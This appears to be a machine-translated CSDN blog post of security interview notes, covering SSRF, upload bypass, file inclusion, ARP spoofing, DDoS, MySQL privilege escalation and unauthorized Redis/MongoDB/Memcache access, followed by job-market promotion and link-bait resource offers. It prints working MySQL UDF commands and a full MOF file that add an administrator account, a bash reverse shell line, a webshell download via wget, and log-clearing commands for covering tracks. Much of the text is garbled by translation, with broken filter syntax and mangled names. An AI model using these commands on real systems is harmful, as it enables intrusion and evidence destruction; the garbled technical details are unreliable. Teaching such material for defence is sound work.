1) Como a vulnerabilidade SSRF é uma vulnerabilidade de segurança que permite ao servidor enviar solicitações, podemos analisar se a solicitação enviada é enviada pelo servidor capturando pacotes para determinar se existe uma vulnerabilidade SSRF

2) Encontre o endereço do recurso acessado no código-fonte da página. Se o tipo de endereço do recurso for www.baidu.com/xxx.php?image=(address), pode haver vulnerabilidade SSRF 4[1]

2. A causa do desvio de defesa da vulnerabilidade SSRF

Causa: O servidor simulado faz solicitações a outros recursos do servidor sem verificação de legalidade. Exploração: Construa um IP de intranet malicioso para detecção ou use outros protocolos suportados para atacar outros serviços. Defesa: Proibição de salto, restrição de protocolo, restrição de rede interna e externa e restrição de URL. Ignorar: use protocolos diferentes, ignore IP, formato IP, adicione outros caracteres para URL, URL malicioso, @ e similares. Redirecionamento 301 + religação de DNS.

12. Carregar

1. O princípio da vulnerabilidade no upload de arquivos

Devido à falta de controle ou defeitos de processamento na parte de upload do arquivo do usuário pelo programador, o usuário pode fazer upload do arquivo executável de script dinâmico para o servidor além de sua própria autoridade

2. Métodos comuns de desvio de upload

Verificação js de front-end: desative js/burp para alterar package
, case
, sufixo duplo,
bypass de filtro pphphp->php

3. Proteção

O diretório de upload do arquivo está configurado para não ser executável
Use uma lista de permissões para determinar o tipo de upload do arquivo
Reescreva o nome e o caminho do arquivo com números aleatórios

4. Qual é o sentido de revisar os elementos do ponto de upload?

A limitação do tipo de arquivo carregado de alguns sites é implementada no front-end e, neste momento, à medida que o tipo de upload for aumentado, a limitação pode ser quebrada.
Treze, o arquivo contém

1. Princípio

Introduza um script ou código que possa ser controlado pelo usuário e deixe o servidor executar funções como include() para importar os arquivos que precisam ser incluídos por meio de variáveis ​​dinâmicas; o usuário pode controlar as variáveis ​​dinâmicas
.

2. A função que faz com que o arquivo contenha

PHP:include(), include_once(), require(), re-quire_once(), fopen(), readfile(),… JSP/Servlet:ava.io.File(), java.io.Fil-eReader() ,… ASP:inclui arquivo, inclui virtual,

3. O arquivo local contém

Vulnerabilidades que podem abrir e incluir arquivos locais são conhecidas como vulnerabilidades de inclusão de arquivos locais

14. Lacunas lógicas

1. Lacunas lógicas comuns no setor financeiro

Apenas para negócios financeiros, trata-se principalmente de adulteração de dados (envolvendo dados financeiros ou dados de julgamento de algumas empresas), condições de concorrência ou design impróprio, vazamento de informações de transações/pedidos e visualização não autorizada ou operação maliciosa de contas de outras pessoas, a transação ou etapa de negócios é ignorada.

15. Ataque man-in-the-middle

Um ataque man-in-the-middle é um ataque de (falta de) autenticação mútua; uma vulnerabilidade causada pela falta de autenticação mútua entre o cliente e o servidor durante o handshake SSL

As soluções para defesa contra ataques man-in-the-middle geralmente são baseadas nas seguintes tecnologias

1. Infraestrutura de chave pública PKI usa o mecanismo de autenticação mútua PKI, o cliente verifica o servidor e o servidor verifica o cliente, nos dois exemplos acima, apenas o servidor é verificado, o que causa uma brecha no link de handshake SSL, e se autenticação mútua é usada Basicamente, autenticação mútua mais forte

2. Teste de latência

Cálculos que usam funções hash criptográficas complexas resultam em atrasos de dezenas de segundos; se ambas as partes normalmente levam 20 segundos para serem computadas e toda a comunicação leva 60 segundos para chegar à outra parte, isso pode indicar a presença de um intermediário terceirizado .

3. Use outras formas de troca de chaves

Falsificação de ARP

princípio

Cada host possui uma tabela de cache ARP, que registra a correspondência entre endereços IP e endereços MAC, e a transmissão de dados da LAN depende de endereços MAC. Há um defeito no mecanismo da tabela de cache ARP, ou seja, quando o host solicitante recebe o pacote de resposta ARP, ele não verifica se enviou um pacote de solicitação ARP para o outro host e compara diretamente o endereço IP no retorno pacote com o endereço MAC. O relacionamento é armazenado na tabela de cache ARP. Se a correspondência IP original for a mesma, a original será substituída. Desta forma, o atacante tem a possibilidade de escutar os dados transmitidos pelo host
.

1. Vincule o endereço MAC e IP do gateway ao host como estático (o padrão é dinâmico), comando: arp -s gateway IP gateway MAC

2. Vincule o endereço MAC e IP do host no gateway

3. Use firewall ARP

Dezesseis, DDOS

1. Princípio DDOS

Usar solicitações razoáveis ​​para causar sobrecarga de recursos, resultando em indisponibilidade do serviço

O princípio do syn torrent

Forje um grande número de endereços IP de origem e envie um grande número de pacotes SYN para o servidor. Neste momento, o servidor retornará um pacote SYN/ACK. Como o endereço de origem foi forjado, o IP forjado não responderá e o O servidor não receberá a falsificação. A resposta IP tentará novamente de 3 a 5 vezes e aguardará um SYNTime (normalmente de 30 segundos a 2 minutos). Se o tempo expirar, a conexão será descartada. Se o invasor enviar um grande número de solicitações SYN com endereços de origem forjados, o servidor consumirá muitos recursos (CPU e memória) para processar essa semiconexão e continuará tentando novamente o SYN+ACK nesses IPs. O resultado final é que o servidor não tem tempo para prestar atenção às solicitações normais de conexão, resultando em negação de serviço.

Princípio de ataque CC

Inicie continuamente solicitações normais para algumas páginas do aplicativo que consomem grandes recursos para atingir o objetivo de consumir recursos do servidor.

2. Proteção DOSS

SYN Cookie/SYN Proxy, safereset e outros algoritmos. A ideia principal do SYN Cookie é atribuir um “Cookie” a cada endereço IP e contar a frequência de visita de cada endereço IP. Se um grande número de pacotes de dados do mesmo endereço IP for recebido em um curto período de tempo, ele será considerado sob ataque e os pacotes deste endereço IP serão descartados.

17. Elevação de direitos

Duas maneiras de aumentar privilégios no MySQL

escalonamento de privilégios udf, escalonamento de privilégios mof

Extração MySQL_UDF

Requisitos: 1. O sistema alvo é Windows (Win2000, XP, Win2003); 2. Ter uma conta de usuário do MYSQL, esta conta deve ter permissões de inserção e exclusão no mysql para criar e descartar funções 3. Ter uma senha de conta root para exportar udf: Para MYSQL 5.1 e superior, você deve colocar o arquivo udf.dll na pasta lib\plugin no diretório de instalação do MYSQL para criar funções personalizadas. Você pode inserir variáveis ​​selecionadas @@basedirshow como '%plugins%' no mysql para encontrar Escalonamento de privilégios do caminho de instalação do mysql:

Crie funções funcionais usando instruções SQL. Sintaxe: Criar função nome da função (o nome da função só pode ser um da lista a seguir) retorna string soname 'caminho DLL exportado';

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

Este diretório não existe por padrão, então precisamos usar o webshell para encontrar o diretório de instalação do MYSQL, criar uma pasta lib\plugin no diretório de instalação e, em seguida, exportar o arquivo udf.dll para este diretório.

Escalonamento de privilégios MySQL mof

#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

O comando na linha 18, altere-o você mesmo antes de fazer o upload.

2. Execute load_file e em dumpfile para exportar o arquivo para o local correto.

selecione carregar arquivo ('c:/wmpub/nullevt.mof') no arquivo de despejo 'c:/windows/system32/wbem/mof/nullevt.mov'

Depois que a execução for bem-sucedida, você pode adicionar um usuário comum, alterar o comando e, em seguida, carregar e exportar a execução para atualizar o usuário para privilégios de administrador e, em seguida, a conexão 3389 estará ok.

18. Vulnerabilidades Especiais

1、Suportes2-045

2.
Razão não autorizada do Redis

Por padrão, o Redis está vinculado a 0.0.0.0:6379, o que exporá o serviço Redis à rede pública. Se a autenticação não estiver habilitada, qualquer usuário poderá acessar o servidor de destino sem autorização. Redis e ler dados do Redis. Os invasores podem usar métodos relacionados do Redis sem autorização para acessar o Redis e podem escrever com êxito a chave pública no servidor Redis e, em seguida, usar a chave privada correspondente para fazer login diretamente no servidor de destino. Condições e métodos de utilização
Condições
:

a. O serviço Redis é executado como conta root
b. O Redis não tem senha ou senha fraca para autenticação
c. O Redis escuta na rede pública 0.0.0.0
Método:

a. Através do comando INFO do Redis, você pode visualizar os parâmetros relacionados ao servidor e informações confidenciais, abrindo caminho para a infiltração subsequente do invasor b. Carregar
a chave pública SSH para obter permissão de login SSH
c. Reverter o shell por meio do crontab
d. Use o modo escravo mestre-escravo
Reparo

Verificação de senha
Executar com direitos reduzidos
Restringir ip/modificar porta

3. Acesso não autorizado ao Jenkins

4. Acesso não autorizado ao MongoDB

O invasor entra na interface de execução do comando de script por meio de acesso não autorizado para executar o comando de ataque

println "ifconfig -a".execute().text Execute alguns comandos do sistema, use wget para baixar o webshell

Quando nenhum parâmetro é adicionado quando o serviço MongoDB é iniciado, não há verificação de permissão por padrão e o banco de dados pode ser acessado remotamente. Os usuários que fazem login podem realizar qualquer operação de alto risco, como adicionar, excluir, modificar e verificar o banco de dados através da porta padrão sem senha.
proteção

Adicione autenticação para MongoDB: 1) Adicione o parâmetro –auth quando o MongoDB iniciar 2) Adicione usuários ao MongoDB: use admin #Use a biblioteca admin db.addUser("root", "123456") #Adicione o usuário db com nome de usuário root senha 123456. auth ("root", "123456") #Verifique se a adição foi bem-sucedida, retorne 1 para indicar sucesso 2. Desative as portas HTTP e REST O próprio MongoDB possui um serviço HTTP e suporta interfaces REST. Essas interfaces são desabilitadas por padrão após 2.6. Por padrão, o mongoDB usará a porta padrão para escutar serviços da Web. Geralmente, o gerenciamento remoto pela Web não é necessário e é recomendado desativá-lo. Modifique o arquivo de configuração ou selecione o parâmetro –nohttpinterface nohttpinterface=false na inicialização 3. Limite o IP de ligação Adicione o parâmetro –bind_ip 127.0.0.1 na inicialização ou adicione o seguinte conteúdo no arquivo /etc/mongodb.conf: bind_ip = 127.0.0.1

5. Acesso não autorizado ao Memcache

Memcached é um sistema de cache de valor-chave comumente usado. Como não possui um módulo de controle de permissão, o serviço Memcache aberto à rede pública é facilmente encontrado pelos invasores. Os invasores podem ler diretamente informações confidenciais no Memcached por meio de interação de comando.
usar

a. Faça login na máquina e execute o comando netstat -an |more para verificar o status de monitoramento da porta. O echo 0.0.0.0:11211 indica que o monitoramento é realizado em todas as placas de rede e há uma vulnerabilidade de acesso não autorizado do memcached.

b. telnet 11211 ou nc -vv 11211, se a conexão for bem-sucedida, significa que há uma vulnerabilidade
.

a. Configure o memchached para permitir apenas acesso local b. Proíba o acesso de rede externa à porta 11211 do Memcached c. Adicione --enable-sasl ao compilar para ativar a autenticação SASL

6.
O princípio de leitura de arquivos locais FFMPEG

Criptografe a carga em um byte de segmento que será executado chamando a API de criptografia. Mas no projeto de resposta específico, respondi apenas SSRF antigo buraco, cabeçalho m3u8, deslocamento, criptografia.

19. Conhecimento de segurança

1. WEB

Estrutura JAVA comum de desenvolvimento WEB

Vulnerabilidades comuns da estrutura Java do STRUTS, SPRING Na verdade, quando o entrevistador fez essa pergunta, eu não sabia o que ele iria perguntar. Mencionei o struts '045 048, desserialização comum do java. 045 O tratamento de erros introduz expressões ognl. 048 No processo de encapsulamento de ações, há uma etapa de chamar getstackvalue para obter recursivamente os objetos de operação de desserialização de expressões ognl e apresentá-los por meio. O mecanismo de reflexão do Apache comum e a reescrita do readobject, na verdade, não consigo me lembrar dos detalhes. . . Então essa parte acabou

Política de Mesma Origem

A política de mesma origem restringe fontes diferentes de ler ou definir o conteúdo de atributos do documento atual. Distinguir entre diferentes fontes: protocolo, nome de domínio, nome de subdomínio, IP, porta, quando os acima são diferentes, são fontes diferentes.

Ataque de segurança Jsonp e tecnologia de defesa, como escrever uma página de ataque Jsonp

Conteúdo de ataque e defesa de segurança relacionado ao Jsonp

Sequestro de JSON, retorno de chamada pode ser definido, conteúdo JSONP pode ser definido e tipo de conteúdo não é json.

página de ataque

Sequestro de JSON, sequestro de informações confidenciais entre domínios, a página é semelhante a

função wooyun(v){ alerta(v.nomedeusuário); }

Quando o tipo de conteúdo está incorreto, o conteúdo JSONP e Callback pode ser definido para causar XSS. Para JSONP, FLASH e outros aplicativos, consulte a tecnologia de ataque e defesa de segurança JSONP da Chuangyu.

2.PHP

Funções envolvidas na execução de comandos em php

Exemplos de uso: eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()

文件读取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等

Execução de comandos: system(), exec(), shell_exec(), passthru(), pcntl_exec(), popen(), proc_open()
ignoram a função de desabilitação do php no modo de segurança

Funções DL, vulnerabilidades de componentes, variáveis ​​de ambiente.
Digitação fraca em PHP

== Ao comparar, ele primeiro converterá o tipo de string no mesmo e depois comparará

Se comparar um número com uma string ou comparar uma string envolvendo conteúdo numérico, a string será convertida em um número e a comparação será realizada como um número

Uma string começando com 0e é igual a 0

3. Banco de dados

Onde vários arquivos de banco de dados são armazenados

mysql:
/usr/local/mysql/data/
C:\ProgramData\MySQL\MySQL Server 5.6\Data
oracle: ORACLE _BASE / oradata / ORACLE\_BASE/oradata/OR A C L E _ B A SE / ou a d a t a / ORACLE_SID/

4. Sistema

Como limpar registros

meterpreter:
Quais logs precisam ser limpos após o clearev invadir o servidor Linux?

Logs da Web, como access.log, error.log do Apache. É muito óbvio limpar o log diretamente e geralmente usar sed para limpeza direcional

por exemplo, sed -i -e '/192.169.1.1/d'

A limpeza do comando histórico também é uma limpeza direcionada de ~/.bash_history

Limpeza de logs wtmp, /var/log/wtmp

Quais são os comandos para limpar o log de login /var/log/secure
LINUX
para verificar a conexão da porta atual? Diferenças e vantagens e desvantagens dos comandos netstat e ss

netstat -antp ss -l

A vantagem do ss é que ele pode exibir informações cada vez mais detalhadas sobre o TCP e o status da conexão, e é mais rápido e eficiente que o netstat.
Comandos comuns para shell reverso? Que tipo de projétil geralmente rebate? Por que?

bash -i>&/dev/tcp/xxxx/4444 0>&1

Quais informações podem ser obtidas através do diretório /proc do sistema Linux e quais aplicativos essas informações podem ser usadas para segurança?

ls /proc

Informações do sistema, informações de hardware, versão do kernel, módulos carregados e processos.No
sistema Linux, quais itens de configuração dos arquivos de configuração são detectados podem melhorar a segurança do SSH.

Configuração de /etc/ssh/sshd___configiptables
Como visualizar as últimas 100 linhas do conteúdo do arquivo com um comando

tail -n 100 nome do arquivo

Como o Windows
reforça o ambiente de trabalho da área de trabalho do Windows em um ambiente de domínio? Por favor, dê sua opinião.

5. Criptografia

As etapas de trabalho específicas do
algoritmo AES/DES RSA

Criptografia:
texto cifrado=texto simples^EmodN

A criptografia RSA é o processo de dividir a potência E do texto simples por N e encontrar o restante
Chave pública = (E, N)

Descriptografia:
texto simples=texto cifrado^DmodN chave privada=(D,N)

Três parâmetros n, e1, e2

n é a integral de dois grandes números primos p, q
Modo de criptografia da cifra de bloco
Como gerar um número aleatório seguro?

Citando a resposta de um veterano anterior, números aleatórios podem ser gerados por meio de alguns sistemas físicos, como flutuações de tensão, tempo de busca das cabeças do disco ao ler/escrever e ruído de ondas eletromagnéticas no ar.
Processo de handshake SSL

Estabeleça uma conexão TCP, o cliente envia uma solicitação SSL, o servidor processa a solicitação SSL, o cliente envia os dados aleatórios criptografados pela chave pública, o servidor descriptografa os dados aleatórios criptografados com a chave privada e negocia a senha, o servidor e o uso do cliente A cifra gera o algoritmo de criptografia e a chave e então se comunica normalmente. Esta parte foi originalmente esquecida, mas quando assisti SSL Pinning antes, parecia que me lembrei de uma imagem em minha mente. Depois de lutar por muito tempo, ainda não tinha certeza, então desisti. . .
Quais são as diferenças entre criptografia simétrica e criptografia assimétrica?

6.TCP/IP

O processo de handshake triplo TCP e a transição de estado correspondente

(1) O cliente envia um pacote SYN para o servidor, incluindo o número da porta usada pelo cliente e o número de série inicial x; (2) Após receber o pacote
SYN enviado pelo cliente, o servidor envia um SYN e ACK para o cliente A mensagem TCP com ambos os bits definidos inclui o número de confirmação xx1 e o número de sequência inicial y do servidor;
(3) Após receber a mensagem SYNSACK retornada pelo servidor, o cliente retorna um número de confirmação yy1 e um número de sequência xx1 para o servidor Mensagem ACK, uma conexão TCP padrão é concluída.
A diferença entre os protocolos TCP e UDP

tcp é orientado à conexão, udp é orientado a mensagens, tcp tem muitos requisitos para
recursos do sistema

a. O cliente envia uma solicitação ao servidor.
b. O servidor retorna o certificado e a chave pública. A chave pública existe como parte do certificado.
c. O cliente verifica a validade do certificado e da chave pública. Se válido, um o segredo compartilhado é gerado. Chave e use a chave pública para criptografar e enviar ao servidor
d, o servidor usa a chave privada para descriptografar os dados e usa a chave compartilhada recebida para criptografar os dados e enviá-los ao cliente
e, o cliente usa a chave compartilhada para descriptografar os dados
f, construção de criptografia SSL

7. Análise de tráfego

Regras de filtragem simples do Wireshark

filtro IP:

Endereço IP de origem do filtro: ip.src1.1.1.1;, endereço IP de destino: ip.dst1.1.1.1;

Porta de filtro:

Porta de filtro 80: tcp.port80, porta de origem: tcp.srcport80, porta de destino: tcp.dstport==80

Filtragem de protocolo:

Basta inserir o nome do protocolo diretamente, como protocolo http http

Filtragem de padrão http:

Filtrar pacote get/post http.request.mothod=="GET/POST"

8. Firewall

Descreva resumidamente vários itens básicos de reforço de configuração comumente usados ​​em dispositivos de rede, como roteadores, switches e firewalls, bem como métodos de configuração.

Parceiros que precisam de um conjunto completo de versões em PDF podem enviar [pedir compartilhamento] na área de comentários, e eu enviarei um por um

Digressão

Muitas pessoas que são novas na indústria de informática ou formadas em áreas relacionadas à informática encontraram obstáculos em todos os lugares devido à falta de experiência prática. Vejamos dois conjuntos de dados:

  • Espera-se que os 2.023 graduados universitários nacionais cheguem a 11,58 milhões, e a situação do emprego é grave;

  • De acordo com os dados divulgados pela Semana Nacional de Publicidade sobre Segurança de Redes, até 2027, a escassez de pessoal de segurança de rede no meu país chegará a 3,27 milhões.

Por um lado, a situação de emprego dos recém-licenciados é grave todos os anos e, por outro lado, existe uma lacuna de um milhão de talentos em segurança cibernética.

Em 9 de junho, a edição de 2023 do Livro Azul de Emprego da MyCOS Research (incluindo o Relatório de Emprego para Estudantes de Graduação na China de 2023 e o Relatório de Emprego para Estudantes Profissionais Superiores na China em 2023) foi oficialmente lançada.

Os 10 principais cursos com salário mensal mais alto para graduados universitários em 2022

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

Com o aprimoramento contínuo da capacidade pessoal, o valor profissional do trabalho também aumentará com o enriquecimento da própria experiência e a maturidade da operação do projeto, e o espaço de valorização é totalmente otimista, razão pela qual é popular com todos.

Até certo ponto, no campo da segurança de rede, assim como na profissão médica, quanto mais velho você é, mais popular você se torna. À medida que a tecnologia se torna mais madura, o trabalho será naturalmente valorizado, e a promoção e o aumento salarial são uma questão claro.

Como aprender sobre hackers e segurança cibernética

Hoje, contanto que você dê um joinha em meu artigo, compartilharei com você minha coleção particular de materiais de aprendizagem de segurança online gratuitamente, então vamos ver o que há lá.

1. Roteiro de aprendizagem

Há também muitas coisas para aprender no ataque e na defesa. Escrevi todas as coisas específicas para aprender no roteiro acima. Se você puder aprendê-las, não terá problemas em conseguir um emprego ou em empregos particulares.

2. Tutorial em vídeo

Embora existam muitos recursos de aprendizagem na Internet, eles estão basicamente incompletos. Este é um tutorial em vídeo sobre segurança cibernética gravado por mim. Tenho uma explicação em vídeo de apoio para cada ponto de conhecimento no roteiro acima.

O conteúdo abrange o estudo da legislação de segurança de rede, operação de segurança de rede e outras avaliações de garantias, fundamentos de testes de penetração, explicação detalhada de vulnerabilidades, conhecimentos básicos de informática, etc., que são todos conteúdos de aprendizagem que devem ser conhecidos ao iniciar a segurança de rede.

(Está tudo embalado em uma só peça e não pode ser desdobrado um por um. São mais de 300 episódios no total)

Devido ao espaço limitado, apenas parte das informações é mostrada, você precisa clicar no link abaixo para obtê-las

Farra de CSDN: compartilhamento gratuito "Introdução a hackers e segurança de rede e pacote de recursos de aprendizagem avançada"

3. Documentos técnicos e e-books

Os documentos técnicos também são compilados por mim, incluindo minha experiência e pontos técnicos de participação em operações de segurança de rede em grande escala, mineração de vulnerabilidades CTF e SRC. Existem também mais de 200 e-books. Devido à sensibilidade do conteúdo, eu não os mostrará um por um.

Devido ao espaço limitado, apenas parte das informações é mostrada, você precisa clicar no link abaixo para obtê-las

Farra de CSDN: compartilhamento gratuito "Introdução a hackers e segurança de rede e pacote de recursos de aprendizagem avançada"

4. Kit de ferramentas, perguntas da entrevista e código-fonte

“Se você quiser fazer um bom trabalho, primeiro você deve aprimorar suas ferramentas.” Resumi dezenas das ferramentas de hacking mais populares para todos. O escopo da cobertura concentra-se principalmente na coleta de informações, ferramentas de hacking Android, ferramentas de automação, phishing, etc.

Há também o código-fonte do caso e o kit de ferramentas correspondente mencionado no meu vídeo, que pode ser retirado se necessário.

Devido ao espaço limitado, apenas parte das informações é mostrada, você precisa clicar no link abaixo para obtê-las

Farra de CSDN: compartilhamento gratuito "Introdução a hackers e segurança de rede e pacote de recursos de aprendizagem avançada"

Por fim, há perguntas de entrevistas sobre segurança na Internet que resolvi nos últimos anos.Se você está procurando emprego em segurança na Internet, elas certamente o ajudarão muito.

Essas perguntas são frequentemente encontradas em entrevistas com Sangfor, Qi Anxin, Tencent ou outras grandes empresas.Se você tiver boas perguntas ou bons insights, compartilhe-os.

Análise de referência: site oficial da Sangfor, site oficial da Qi Anxin, Freebuf, csdn, etc.

Características do conteúdo: organização clara, incluindo representação gráfica, de mais fácil compreensão.

Resumo do conteúdo: Incluindo intranet, sistema operacional, protocolo, teste de penetração, serviço de segurança, vulnerabilidade, injeção, XSS, CSRF, SSRF, upload de arquivo, download de arquivo, inclusão de arquivo, XXE, vulnerabilidade lógica, ferramenta, SQLmap, NMAP, BP, MSF…

Devido ao espaço limitado, apenas parte das informações é mostrada, você precisa clicar no link abaixo para obtê-las

Farra de CSDN: compartilhamento gratuito "Introdução a hackers e segurança de rede e pacote de recursos de aprendizagem avançada"

Acho que você gosta

Origin blog.csdn.net/Python_0011/article/details/132364469
Recomendado
Clasificación